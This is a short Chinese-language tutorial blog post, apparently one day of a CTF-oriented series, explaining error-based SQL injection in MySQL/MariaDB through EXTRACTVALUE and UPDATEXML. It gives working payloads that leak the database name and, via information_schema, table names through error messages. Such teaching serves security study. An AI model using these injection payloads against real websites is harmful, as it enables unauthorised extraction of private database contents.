【第十二天 - 报错型 SQL注入】

Q1. 什麽是 报错型SQL注入?

  • 在一些网页程序出错时,会直接将错误讯息显示到前端,而部分错误讯息会夹带导致错误的资料内容,报错型 SQL 注入便是利用此特性将资料泄漏出来。

  • 以下 SQL 函数可以构建出泄漏资料的错误讯息:

    • extractvalue
      • ExtractValue(xml_frag, xpath_expr)
    • updatexml
      • UpdateXML(xml_target, xpath_expr, new_xml)

参考资料:https://dev.mysql.com/doc/refman/5.6/en/xml-functions.html#function_extractvalue

Q2. 报错型SQL注入方法?

EXTRACTVALUE(1, CONCAT(0x0a, database(), 0x0a));

https://ithelp.ithome.com.tw/upload/images/20210926/20140592hIeArk5lae.png

  • EXTRACTVALUE 可以从 XML 字串提取指定路径的资料,此处我们可以构建出不合语法的 XPATH 路径,使得错误讯息回显资料。本例中便泄漏出了当前资料库名称为 CTF

搭配前天的 information_schema ,便可以在 MySQL / MariaDB 中泄漏任意资料,例如下列语法便可以泄漏出 Table 名称。

<原 SQL 语法>
OR EXTRACTVALUE(
  1,
  CONCAT(
    0x0a, (
      SELECT GROUP_CONCAT(`TABLE_NAME`)
      FROM `information_schema`.`tables`
      WHERE `TABLE_SCHEMA` = 'CTF'
    ), 0x0a
  )
)

https://ithelp.ithome.com.tw/upload/images/20210926/20140592cGOWYz4fnY.png


<<:  恶意程序分析篇

>>:  Day14 - 模型评估 part 1

2021 资通讯高峰论坛 !

https://edm.bnext.com.tw/2021cpx/?utm_source=%E3%8...

TypeScript | Type 研究心得纪录 2

我习惯理解一个东西,可以套用日常的生活经验,找出类比、拟人化会帮助我更好理解,今天的议题是最近看到 ...

Vue.js 从零开始:物件参考 深拷贝 浅拷贝

资料处理是JavaScript非常重要的一环,如果观念不正确,常常会卡在那边,就算可以运行了,也不知...

DAY15 在虚拟机上运行Android Studio 的第一个程序

从第三天灌好程序之後,也是过了快两个礼拜才使用他,想必每个夜晚他在硬碟里偷偷哭泣,让你的硬碟很潮,比...

Day30-TypeScript(TS)的模组(Modules) Part2

今天是最後一天了, 但该讲的还是要讲完, 所以我们就接续上一篇的TypeScript(TS)的模组(...